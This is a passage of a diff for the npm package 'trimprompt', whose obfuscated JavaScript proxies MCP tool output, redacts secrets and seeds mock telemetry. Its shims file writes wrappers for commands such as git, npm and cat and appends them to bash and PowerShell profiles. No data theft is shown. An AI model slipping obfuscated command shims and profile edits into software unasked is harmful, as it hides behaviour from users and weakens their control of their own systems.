_0x2a9d76[_0x465f9c];}}),Object[_0x5d1a26(0x113)](_0x34d34e,_0x195e9d,_0x1f1012);}:function(_0x3f7c44,_0x323376,_0x3de8d5,_0x44d070){if(_0x44d070===undefined)_0x44d070=_0x3de8d5;_0x3f7c44[_0x44d070]=_0x323376[_0x3de8d5];}),__setModuleDefault=this&&this[a0_0x32c45d(0x10e)]||(Object[a0_0x32c45d(0x12f)]?function(_0x1b4869,_0x516b1f){const _0x825001=a0_0x32c45d;Object[_0x825001(0x113)](_0x1b4869,_0x825001(0x12d),{'enumerable':!![],'value':_0x516b1f});}:function(_0x1d7e56,_0x55a668){const _0xa6d54b=a0_0x32c45d;_0x1d7e56[_0xa6d54b(0x12d)]=_0x55a668;}),__importStar=this&&this[a0_0x32c45d(0x106)]||(function(){var _0x13ddcc=function(_0xf4cc06){const _0x4dc13c=a0_0x4b5f;return _0x13ddcc=Object[_0x4dc13c(0x13b)]||function(_0x58e943){const _0x4fa8f0=_0x4dc13c;var _0x1326f4=[];for(var _0x4c5443 in _0x58e943)if(Object[_0x4fa8f0(0x133)][_0x4fa8f0(0x124)][_0x4fa8f0(0x12e)](_0x58e943,_0x4c5443))_0x1326f4[_0x1326f4[_0x4fa8f0(0x136)]]=_0x4c5443;return _0x1326f4;},_0x13ddcc(_0xf4cc06);};return function(_0x434745){const _0x55f0bd=a0_0x4b5f;if(_0x434745&&_0x434745['__esModule'])return _0x434745;var _0x18afe4={};if(_0x434745!=null){for(var _0x326fcf=_0x13ddcc(_0x434745),_0x131abd=0x0;_0x131abd<_0x326fcf[_0x55f0bd(0x136)];_0x131abd++)if(_0x326fcf[_0x131abd]!==_0x55f0bd(0x12d))__createBinding(_0x18afe4,_0x434745,_0x326fcf[_0x131abd]);}return __setModuleDefault(_0x18afe4,_0x434745),_0x18afe4;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x32c45d(0x112)]=runMcpProxy;function a0_0x46f4(){const _0x537c81=['stdin','getConfig','writable','inherit','2.0','pipe','__setModuleDefault','logExecution','content','isArray','runMcpProxy','defineProperty','105790OwKJNG','result','getOwnPropertyDescriptor','exit','trim','468FYNqFf','11131648eYoXmK','mcp\x20tool\x20(id:\x20','readline','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','stdout','redaction_enabled','504635qGBZDw','174630XpWQfk','tracker','child_process','hasOwnProperty','close','error','__esModule','./tracker','write','6CCGtLM','279494hWBXNV','jsonrpc','default','call','create','message','2707688EqWsfo','createInterface','prototype','24WJanmT','mcp-tool-call','length','compressOutput','text','1946112PrlcRo','14uiscJK','getOwnPropertyNames','configurable','__importStar','__createBinding'];a0_0x46f4=function(){return _0x537c81;};return a0_0x46f4();}const child_process_1=require(a0_0x32c45d(0x123)),readline=__importStar(require(a0_0x32c45d(0x11c))),filters_1=require('./filters'),tracker_1=require(a0_0x32c45d(0x128));function runMcpProxy(_0x4bcb4e,_0x5b0782){const _0x3f3285=a0_0x32c45d,_0x127571=(0x0,child_process_1['spawn'])(_0x4bcb4e,_0x5b0782,{'stdio':['pipe','pipe',_0x3f3285(0x10b)]});process[_0x3f3285(0x108)][_0x3f3285(0x10d)](_0x127571[_0x3f3285(0x108)]);const _0xa3df10=readline[_0x3f3285(0x132)]({'input':_0x127571[_0x3f3285(0x11e)],'terminal':![]});_0xa3df10['on']('line',_0x17f38e=>{const _0x26882d=_0x3f3285;try{const _0x2db818=JSON['parse'](_0x17f38e);if(_0x2db818&&_0x2db818[_0x26882d(0x12c)]===_0x26882d(0x10c)&&_0x2db818['id']!==undefined&&_0x2db818[_0x26882d(0x115)]&&Array[_0x26882d(0x111)](_0x2db818[_0x26882d(0x115)][_0x26882d(0x110)])){let _0x2f1393=![];for(const _0x548f25 of _0x2db818['result'][_0x26882d(0x110)]){if(_0x548f25['type']===_0x26882d(0x138)&&typeof _0x548f25['text']==='string'&&_0x548f25[_0x26882d(0x138)][_0x26882d(0x118)]()[_0x26882d(0x136)]>0x0){const _0x5d4e1b=_0x548f25['text'],_0x557675=(0x0,filters_1[_0x26882d(0x137)])(_0x26882d(0x135),_0x5d4e1b,'',tracker_1[_0x26882d(0x122)][_0x26882d(0x109)]()[_0x26882d(0x11f)]);tracker_1[_0x26882d(0x122)][_0x26882d(0x10f)](_0x26882d(0x11b)+_0x2db818['id']+')',_0x5d4e1b,_0x557675,0x0),_0x548f25[_0x26882d(0x138)]=_0x557675,_0x2f1393=!![];}}_0x2f1393?process[_0x26882d(0x11e)][_0x26882d(0x129)](JSON['stringify'](_0x2db818)+'\x0a'):process[_0x26882d(0x11e)][_0x26882d(0x129)](_0x17f38e+'\x0a');}else process['stdout']['write'](_0x17f38e+'\x0a');}catch{process[_0x26882d(0x11e)][_0x26882d(0x129)](_0x17f38e+'\x0a');}}),_0x127571['on'](_0x3f3285(0x125),_0x2017f8=>{process['exit'](_0x2017f8||0x0);}),_0x127571['on'](_0x3f3285(0x126),_0x199427=>{const _0x47dd09=_0x3f3285;console['error'](_0x47dd09(0x11d)+_0x199427[_0x47dd09(0x130)]),process[_0x47dd09(0x117)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.5",
3
+ "version": "1.0.6",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x284d3c=a0_0x3dbd;(function(_0xcd485,_0x561def){const _0x34ca65=a0_0x3dbd,_0x29966=_0xcd485();while(!![]){try{const _0x177cb9=parseInt(_0x34ca65(0x1c2))/0x1*(-parseInt(_0x34ca65(0x1bd))/0x2)+-parseInt(_0x34ca65(0x1b3))/0x3*(-parseInt(_0x34ca65(0x1be))/0x4)+parseInt(_0x34ca65(0x1b4))/0x5+parseInt(_0x34ca65(0x1c9))/0x6*(-parseInt(_0x34ca65(0x1b9))/0x7)+-parseInt(_0x34ca65(0x1b5))/0x8+parseInt(_0x34ca65(0x1b6))/0x9+-parseInt(_0x34ca65(0x1c5))/0xa;if(_0x177cb9===_0x561def)break;else _0x29966['push'](_0x29966['shift']());}catch(_0x2d9e6d){_0x29966['push'](_0x29966['shift']());}}}(a0_0x175d,0xb82e4));function a0_0x3dbd(_0x27c28f,_0x454318){const _0x175d5c=a0_0x175d();return a0_0x3dbd=function(_0x3dbd57,_0x68657e){_0x3dbd57=_0x3dbd57-0x1b3;let _0x2ae89c=_0x175d5c[_0x3dbd57];return _0x2ae89c;},a0_0x3dbd(_0x27c28f,_0x454318);}Object['defineProperty'](exports,a0_0x284d3c(0x1c8),{'value':!![]}),exports[a0_0x284d3c(0x1c3)]=exports[a0_0x284d3c(0x1c4)]=void 0x0;class Redactor{[a0_0x284d3c(0x1bf)]=[];constructor(){const _0x45a6de=a0_0x284d3c;this[_0x45a6de(0x1c7)]();}[a0_0x284d3c(0x1c7)](){const _0x36da46=a0_0x284d3c;this[_0x36da46(0x1bf)]=[{'name':_0x36da46(0x1bb),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x36da46(0x1ba)},{'name':_0x36da46(0x1c1),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':_0x36da46(0x1c6),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x36da46(0x1bc)}];}[a0_0x284d3c(0x1ca)](_0x499816){const _0x2a264e=a0_0x284d3c;let _0x3bfff6=_0x499816;for(const _0x1fbf79 of this['rules']){_0x3bfff6=_0x3bfff6[_0x2a264e(0x1c0)](_0x1fbf79[_0x2a264e(0x1b8)],_0x1fbf79[_0x2a264e(0x1b7)]);}return _0x3bfff6;}}exports[a0_0x284d3c(0x1c4)]=Redactor,exports[a0_0x284d3c(0x1c3)]=new Redactor();function a0_0x175d(){const _0x20a16c=['16329BCxvfS','7366290WWGzbl','4279656SocHEv','2039589HhmDYD','replacement','regex','49TpadTy','[REDACTED_DB_CONNECTION_STRING]','Database\x20Connection\x20String','[REDACTED_EMAIL]','464886kVCZwZ','836pFBqag','rules','replace','API\x20Key\x20or\x20Password','1YzWZgH','redactor','Redactor','6044830FqvTPG','Email\x20Address','loadDefaultRules','__esModule','609582VhKERt','redact'];a0_0x175d=function(){return _0x20a16c;};return a0_0x175d();}
1
+ 'use strict';const a0_0x213c3e=a0_0xf979;(function(_0x561326,_0x5a08fc){const _0x16eac8=a0_0xf979,_0x2af73c=_0x561326();while(!![]){try{const _0x360484=-parseInt(_0x16eac8(0x99))/0x1*(-parseInt(_0x16eac8(0x9e))/0x2)+parseInt(_0x16eac8(0xae))/0x3+-parseInt(_0x16eac8(0xb0))/0x4+-parseInt(_0x16eac8(0xa4))/0x5*(parseInt(_0x16eac8(0x96))/0x6)+-parseInt(_0x16eac8(0xa2))/0x7*(-parseInt(_0x16eac8(0xa5))/0x8)+-parseInt(_0x16eac8(0x9c))/0x9*(parseInt(_0x16eac8(0x9f))/0xa)+parseInt(_0x16eac8(0xa7))/0xb;if(_0x360484===_0x5a08fc)break;else _0x2af73c['push'](_0x2af73c['shift']());}catch(_0x327df4){_0x2af73c['push'](_0x2af73c['shift']());}}}(a0_0x49db,0x34576));function a0_0x49db(){const _0x78c368=['14VVwbaX','988730XPpymB','redactor','redact','825965KOSjWV','Database\x20Connection\x20String','20EpXOCk','24PetZbe','replacement','1426931mguliO','IPv4\x20Address','__esModule','defineProperty','[REDACTED_IP]','loadDefaultRules','regex','209979YcMets','rules','634532HpdWPU','589926epoFBF','Redactor','Email\x20Address','58622HXCAOj','[REDACTED_DB_CONNECTION_STRING]','API\x20Key\x20or\x20Password','18AdCAbV','$1:\x20[REDACTED_CREDENTIAL]'];a0_0x49db=function(){return _0x78c368;};return a0_0x49db();}function a0_0xf979(_0x5c431e,_0x4a70ae){const _0x49dbf4=a0_0x49db();return a0_0xf979=function(_0xf979bb,_0x35406d){_0xf979bb=_0xf979bb-0x96;let _0x49210d=_0x49dbf4[_0xf979bb];return _0x49210d;},a0_0xf979(_0x5c431e,_0x4a70ae);}Object[a0_0x213c3e(0xaa)](exports,a0_0x213c3e(0xa9),{'value':!![]}),exports[a0_0x213c3e(0xa0)]=exports[a0_0x213c3e(0x97)]=void 0x0;class Redactor{[a0_0x213c3e(0xaf)]=[];constructor(){this['loadDefaultRules']();}[a0_0x213c3e(0xac)](){const _0xf98796=a0_0x213c3e;this[_0xf98796(0xaf)]=[{'name':_0xf98796(0xa3),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0xf98796(0x9a)},{'name':_0xf98796(0x9b),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0xf98796(0x9d)},{'name':_0xf98796(0xa8),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0xf98796(0xab)},{'name':_0xf98796(0x98),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':'[REDACTED_EMAIL]'}];}[a0_0x213c3e(0xa1)](_0x20487f){const _0x491dc7=a0_0x213c3e;let _0x296e70=_0x20487f;for(const _0x40f12d of this[_0x491dc7(0xaf)]){_0x296e70=_0x296e70['replace'](_0x40f12d[_0x491dc7(0xad)],_0x40f12d[_0x491dc7(0xa6)]);}return _0x296e70;}}exports[a0_0x213c3e(0x97)]=Redactor,exports[a0_0x213c3e(0xa0)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x343310=a0_0x224f;(function(_0x2d29f4,_0x132b96){const _0x111a08=a0_0x224f,_0x216b86=_0x2d29f4();while(!![]){try{const _0x5b5475=-parseInt(_0x111a08(0xc2))/0x1+-parseInt(_0x111a08(0xca))/0x2*(-parseInt(_0x111a08(0xbd))/0x3)+-parseInt(_0x111a08(0xb7))/0x4+-parseInt(_0x111a08(0xae))/0x5+parseInt(_0x111a08(0xb9))/0x6*(parseInt(_0x111a08(0xb5))/0x7)+parseInt(_0x111a08(0xc3))/0x8+-parseInt(_0x111a08(0xb4))/0x9*(-parseInt(_0x111a08(0xbc))/0xa);if(_0x5b5475===_0x132b96)break;else _0x216b86['push'](_0x216b86['shift']());}catch(_0xbf6f55){_0x216b86['push'](_0x216b86['shift']());}}}(a0_0x4f93,0xb255b));function a0_0x224f(_0x41acff,_0x4c501d){const _0x4f93b9=a0_0x4f93();return a0_0x224f=function(_0x224f57,_0x243a0c){_0x224f57=_0x224f57-0xa9;let _0x55943f=_0x4f93b9[_0x224f57];return _0x55943f;},a0_0x224f(_0x41acff,_0x4c501d);}Object[a0_0x343310(0xac)](exports,a0_0x343310(0xc7),{'value':!![]});const tracker_1=require('./tracker');function a0_0x4f93(){const _0x32372a=['Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','Optimizing\x20assets...\x0a','2mZcDuI','log','env','logExecution','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','defineProperty','test_api.py\x20PASS\x0a','7215545IwRXsC','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Database\x20successfully\x20seeded!','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','gemini-1-5-pro','9JRTFYT','1281xMIcZk','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','819188GoXfVy','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','10926XaoKBX','tracker','test_db.py\x20PASS\x0a','9988310CZWHiV','496473psdRvG','added\x201420\x20packages\x20in\x2014s\x0a','docker\x20build\x20.','repeat','TRIMPROMPT_MODEL','301972KXpaTN','9462176UVuIGQ','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Successfully\x20built\x20image.','npm\x20run\x20build','__esModule'];a0_0x4f93=function(){return _0x32372a;};return a0_0x4f93();}console[a0_0x343310(0xcb)](a0_0x343310(0xc8)),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]='claude-3-opus',tracker_1[a0_0x343310(0xba)]['logExecution'](a0_0x343310(0xc6),'Compilation\x20Output:\x0a'+'[INFO]\x20Building\x20modules...\x0a'+a0_0x343310(0xc9)+a0_0x343310(0xb2)[a0_0x343310(0xc0)](0x190),a0_0x343310(0xb1),0x0),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]='gpt-4o',tracker_1['tracker'][a0_0x343310(0xaa)]('pytest\x20tests/app','Test\x20suite\x20run\x20starting...\x0a'+'test_auth.py\x20PASS\x0a'+a0_0x343310(0xbb)+a0_0x343310(0xad)[a0_0x343310(0xc0)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x343310(0xc4),0x0),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]=a0_0x343310(0xb3),tracker_1['tracker']['logExecution'](a0_0x343310(0xbf),a0_0x343310(0xab)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x343310(0xb6)+a0_0x343310(0xaf)+a0_0x343310(0xbe)['repeat'](0x3)+a0_0x343310(0xc5),a0_0x343310(0xb8),0x0),console['log'](a0_0x343310(0xb0));
1
+ 'use strict';const a0_0x4697ec=a0_0x4561;(function(_0x165841,_0x12a6e1){const _0x42bf32=a0_0x4561,_0x2c4dc5=_0x165841();while(!![]){try{const _0x45ae23=-parseInt(_0x42bf32(0x16a))/0x1*(parseInt(_0x42bf32(0x15b))/0x2)+-parseInt(_0x42bf32(0x158))/0x3*(parseInt(_0x42bf32(0x167))/0x4)+parseInt(_0x42bf32(0x164))/0x5*(parseInt(_0x42bf32(0x163))/0x6)+-parseInt(_0x42bf32(0x16b))/0x7+-parseInt(_0x42bf32(0x171))/0x8*(-parseInt(_0x42bf32(0x159))/0x9)+parseInt(_0x42bf32(0x175))/0xa*(parseInt(_0x42bf32(0x168))/0xb)+parseInt(_0x42bf32(0x16e))/0xc;if(_0x45ae23===_0x12a6e1)break;else _0x2c4dc5['push'](_0x2c4dc5['shift']());}catch(_0x4e8fc8){_0x2c4dc5['push'](_0x2c4dc5['shift']());}}}(a0_0x4614,0x71403));function a0_0x4614(){const _0x186d98=['[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','187260fPMIEP','gemini-1-5-pro','defineProperty','test_auth.py\x20PASS\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Test\x20suite\x20run\x20starting...\x0a','added\x201420\x20packages\x20in\x2014s\x0a','[INFO]\x20Building\x20modules...\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Successfully\x20built\x20image.','gpt-4o','84jzMhyc','171ucOCBs','npm\x20run\x20build','8CMZaCM','pytest\x20tests/app','claude-3-opus','Database\x20successfully\x20seeded!','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','tracker','log','logExecution','24wdotXr','214380fRMDfB','Compilation\x20Output:\x0a','repeat','110824JaHFMk','418sdjesI','env','217181nChlHL','1604442dyrYiq','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','Optimizing\x20assets...\x0a','12439368PiPbKi','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','./tracker','175944XcStXj','docker\x20build\x20.','TRIMPROMPT_MODEL'];a0_0x4614=function(){return _0x186d98;};return a0_0x4614();}Object[a0_0x4697ec(0x14f)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x4697ec(0x170));function a0_0x4561(_0x5475ce,_0x223c9a){const _0x461467=a0_0x4614();return a0_0x4561=function(_0x456186,_0x14a14e){_0x456186=_0x456186-0x14f;let _0x3ceb0c=_0x461467[_0x456186];return _0x3ceb0c;},a0_0x4561(_0x5475ce,_0x223c9a);}console[a0_0x4697ec(0x161)]('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process[a0_0x4697ec(0x169)][a0_0x4697ec(0x173)]=a0_0x4697ec(0x15d),tracker_1[a0_0x4697ec(0x160)]['logExecution'](a0_0x4697ec(0x15a),a0_0x4697ec(0x165)+a0_0x4697ec(0x154)+a0_0x4697ec(0x16d)+a0_0x4697ec(0x174)[a0_0x4697ec(0x166)](0x190),a0_0x4697ec(0x15f),0x0),process[a0_0x4697ec(0x169)][a0_0x4697ec(0x173)]=a0_0x4697ec(0x157),tracker_1[a0_0x4697ec(0x160)][a0_0x4697ec(0x162)](a0_0x4697ec(0x15c),a0_0x4697ec(0x152)+a0_0x4697ec(0x150)+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4697ec(0x166)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x4697ec(0x155),0x0),process[a0_0x4697ec(0x169)]['TRIMPROMPT_MODEL']=a0_0x4697ec(0x176),tracker_1['tracker'][a0_0x4697ec(0x162)](a0_0x4697ec(0x172),a0_0x4697ec(0x16c)+a0_0x4697ec(0x151)+'Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x4697ec(0x153)[a0_0x4697ec(0x166)](0x3)+a0_0x4697ec(0x156),a0_0x4697ec(0x16f),0x0),console[a0_0x4697ec(0x161)](a0_0x4697ec(0x15e));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xaeb862=a0_0x32d4;(function(_0x2778c1,_0x3f367d){const _0x4b9bcf=a0_0x32d4,_0x59813b=_0x2778c1();while(!![]){try{const _0x414ea7=parseInt(_0x4b9bcf(0x221))/0x1*(-parseInt(_0x4b9bcf(0x1eb))/0x2)+parseInt(_0x4b9bcf(0x216))/0x3+parseInt(_0x4b9bcf(0x207))/0x4+-parseInt(_0x4b9bcf(0x23d))/0x5*(parseInt(_0x4b9bcf(0x1f3))/0x6)+-parseInt(_0x4b9bcf(0x228))/0x7+-parseInt(_0x4b9bcf(0x231))/0x8*(parseInt(_0x4b9bcf(0x238))/0x9)+-parseInt(_0x4b9bcf(0x205))/0xa;if(_0x414ea7===_0x3f367d)break;else _0x59813b['push'](_0x59813b['shift']());}catch(_0x453b1e){_0x59813b['push'](_0x59813b['shift']());}}}(a0_0x436b,0xb1e74));var __createBinding=this&&this['__createBinding']||(Object[a0_0xaeb862(0x244)]?function(_0x3d2524,_0x5c5d3a,_0xb018fd,_0x370e7d){const _0x1f1034=a0_0xaeb862;if(_0x370e7d===undefined)_0x370e7d=_0xb018fd;var _0x19d509=Object[_0x1f1034(0x21f)](_0x5c5d3a,_0xb018fd);(!_0x19d509||('get'in _0x19d509?!_0x5c5d3a[_0x1f1034(0x1e1)]:_0x19d509[_0x1f1034(0x1f4)]||_0x19d509['configurable']))&&(_0x19d509={'enumerable':!![],'get':function(){return _0x5c5d3a[_0xb018fd];}}),Object[_0x1f1034(0x235)](_0x3d2524,_0x370e7d,_0x19d509);}:function(_0x34b8b5,_0x38dbb1,_0x5aa418,_0x164b0c){if(_0x164b0c===undefined)_0x164b0c=_0x5aa418;_0x34b8b5[_0x164b0c]=_0x38dbb1[_0x5aa418];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0xaeb862(0x244)]?function(_0x20e5a2,_0x4d90ef){Object['defineProperty'](_0x20e5a2,'default',{'enumerable':!![],'value':_0x4d90ef});}:function(_0x5eaaaf,_0x5e7469){const _0x499b59=a0_0xaeb862;_0x5eaaaf[_0x499b59(0x1f5)]=_0x5e7469;}),__importStar=this&&this['__importStar']||(function(){var _0x32473f=function(_0x40bbec){return _0x32473f=Object['getOwnPropertyNames']||function(_0x5f3f53){const _0x5136d8=a0_0x32d4;var _0x3808e7=[];for(var _0x163230 in _0x5f3f53)if(Object['prototype'][_0x5136d8(0x1f0)]['call'](_0x5f3f53,_0x163230))_0x3808e7[_0x3808e7[_0x5136d8(0x232)]]=_0x163230;return _0x3808e7;},_0x32473f(_0x40bbec);};return function(_0x1c4ebd){const _0x5d4c56=a0_0x32d4;if(_0x1c4ebd&&_0x1c4ebd[_0x5d4c56(0x1e1)])return _0x1c4ebd;var _0x29d02f={};if(_0x1c4ebd!=null){for(var _0x198872=_0x32473f(_0x1c4ebd),_0x420573=0x0;_0x420573<_0x198872[_0x5d4c56(0x232)];_0x420573++)if(_0x198872[_0x420573]!=='default')__createBinding(_0x29d02f,_0x1c4ebd,_0x198872[_0x420573]);}return __setModuleDefault(_0x29d02f,_0x1c4ebd),_0x29d02f;};}());Object[a0_0xaeb862(0x235)](exports,'__esModule',{'value':!![]}),exports[a0_0xaeb862(0x1e8)]=installShims,exports['uninstallShims']=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xaeb862(0x200))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0xaeb862(0x243),a0_0xaeb862(0x22b),'rg',a0_0xaeb862(0x1f2),a0_0xaeb862(0x202),'gh',a0_0xaeb862(0x23b),a0_0xaeb862(0x242),a0_0xaeb862(0x240),a0_0xaeb862(0x1da),a0_0xaeb862(0x204),a0_0xaeb862(0x21d),a0_0xaeb862(0x23f),a0_0xaeb862(0x23c),a0_0xaeb862(0x20b),'pip','pip3','go'],PROFILE_MARKER=a0_0xaeb862(0x224);function getExecSync(){const _0x2884c8=a0_0xaeb862;return require(_0x2884c8(0x1d9))[_0x2884c8(0x1fa)];}function a0_0x32d4(_0xed32a1,_0x9b4dd6){const _0x436b93=a0_0x436b();return a0_0x32d4=function(_0x32d4fc,_0x1b1bdc){_0x32d4fc=_0x32d4fc-0x1d5;let _0x4a4acd=_0x436b93[_0x32d4fc];return _0x4a4acd;},a0_0x32d4(_0xed32a1,_0x9b4dd6);}function getExecFileSync(){const _0x540907=a0_0xaeb862;return require(_0x540907(0x1d9))[_0x540907(0x219)];}function ensureProfileContains(_0x2c365f,_0x2fba95,_0x49e7e7){const _0x5de2f5=a0_0xaeb862;try{const _0x3b2ec4=path[_0x5de2f5(0x1d7)](_0x2c365f);!fs['existsSync'](_0x3b2ec4)&&fs[_0x5de2f5(0x1e4)](_0x3b2ec4,{'recursive':!![]});if(fs['existsSync'](_0x2c365f)){const _0x4a0998=fs['readFileSync'](_0x2c365f,_0x5de2f5(0x214));if(_0x4a0998[_0x5de2f5(0x1d5)](_0x2fba95))return;fs[_0x5de2f5(0x241)](_0x2c365f,_0x49e7e7,_0x5de2f5(0x214));}else fs[_0x5de2f5(0x210)](_0x2c365f,_0x49e7e7,_0x5de2f5(0x214));}catch{}}function removeProfileBlock(_0x596588,_0x4466e4){const _0x56c846=a0_0xaeb862;try{if(!fs['existsSync'](_0x596588))return;const _0x5b4c25=fs[_0x56c846(0x206)](_0x596588,_0x56c846(0x214));if(!_0x5b4c25['includes'](_0x4466e4))return;const _0x131581=_0x5b4c25[_0x56c846(0x1de)]('\x0a'),_0x194f51=[];let _0x3cc33d=![];for(let _0x442d2d=0x0;_0x442d2d<_0x131581[_0x56c846(0x232)];_0x442d2d++){if(_0x131581[_0x442d2d][_0x56c846(0x1d5)](_0x4466e4)){_0x3cc33d=!![];continue;}if(_0x3cc33d){_0x3cc33d=![];continue;}_0x194f51[_0x56c846(0x222)](_0x131581[_0x442d2d]);}const _0x12dcac=_0x194f51['join']('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0x56c846(0x210)](_0x596588,_0x12dcac,_0x56c846(0x214));}catch{}}function collectPowerShellProfiles(){const _0x3d7838=a0_0xaeb862,_0x15ef16=getExecSync(),_0x3171dd=[],_0x3b019d=[[_0x3d7838(0x1d6),_0x3d7838(0x1d8)],[_0x3d7838(0x1d6),_0x3d7838(0x220)]];try{_0x15ef16(_0x3d7838(0x1fb),{'stdio':_0x3d7838(0x230)}),_0x3b019d['push']([_0x3d7838(0x20c),_0x3d7838(0x220)]);}catch{}for(const [_0x3abe04,_0x414189]of _0x3b019d){try{const _0x26cc99=_0x15ef16(_0x3abe04+_0x3d7838(0x1ef)+_0x414189+'\x22',{'encoding':'utf8'})[_0x3d7838(0x237)]();_0x26cc99&&!_0x3171dd[_0x3d7838(0x22c)](_0x1ecf7d=>_0x1ecf7d[_0x3d7838(0x234)]()===_0x26cc99[_0x3d7838(0x234)]())&&_0x3171dd[_0x3d7838(0x222)](_0x26cc99);}catch{}}return _0x3171dd;}function getBashProfilesWindows(){const _0x51b1a1=a0_0xaeb862,_0x1e22c2=os[_0x51b1a1(0x1e3)]();return['.bashrc',_0x51b1a1(0x1e6)][_0x51b1a1(0x1e7)](_0x4a8848=>path[_0x51b1a1(0x22a)](_0x1e22c2,_0x4a8848));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x3a9718=a0_0xaeb862,_0xf7bfaf=path[_0x3a9718(0x22a)](os[_0x3a9718(0x1e3)](),_0x3a9718(0x1fe),_0x3a9718(0x233));try{!fs[_0x3a9718(0x23e)](_0xf7bfaf)&&fs[_0x3a9718(0x1e4)](_0xf7bfaf,{'recursive':!![]});const _0x4c9d60=os[_0x3a9718(0x201)]()===_0x3a9718(0x1e2);for(const _0x488631 of SHIMMED_COMMANDS){if(_0x4c9d60){const _0x4e5080=path['join'](_0xf7bfaf,_0x488631+_0x3a9718(0x213));fs[_0x3a9718(0x210)](_0x4e5080,_0x3a9718(0x1f6)+_0x488631+_0x3a9718(0x1e0),'utf8');const _0x17e3ad=path[_0x3a9718(0x22a)](_0xf7bfaf,_0x488631+_0x3a9718(0x1df));fs[_0x3a9718(0x210)](_0x17e3ad,_0x3a9718(0x21b)+_0x488631+_0x3a9718(0x223),'utf8');const _0x46e70c=path[_0x3a9718(0x22a)](_0xf7bfaf,_0x488631);fs[_0x3a9718(0x210)](_0x46e70c,_0x3a9718(0x22d)+_0x488631+'\x20\x22$@\x22\x0a',_0x3a9718(0x214));}else{const _0x3b14a1=path['join'](_0xf7bfaf,_0x488631);fs[_0x3a9718(0x210)](_0x3b14a1,_0x3a9718(0x22d)+_0x488631+'\x20\x22$@\x22\x0a',_0x3a9718(0x214)),fs[_0x3a9718(0x212)](_0x3b14a1,_0x3a9718(0x20a));}}let 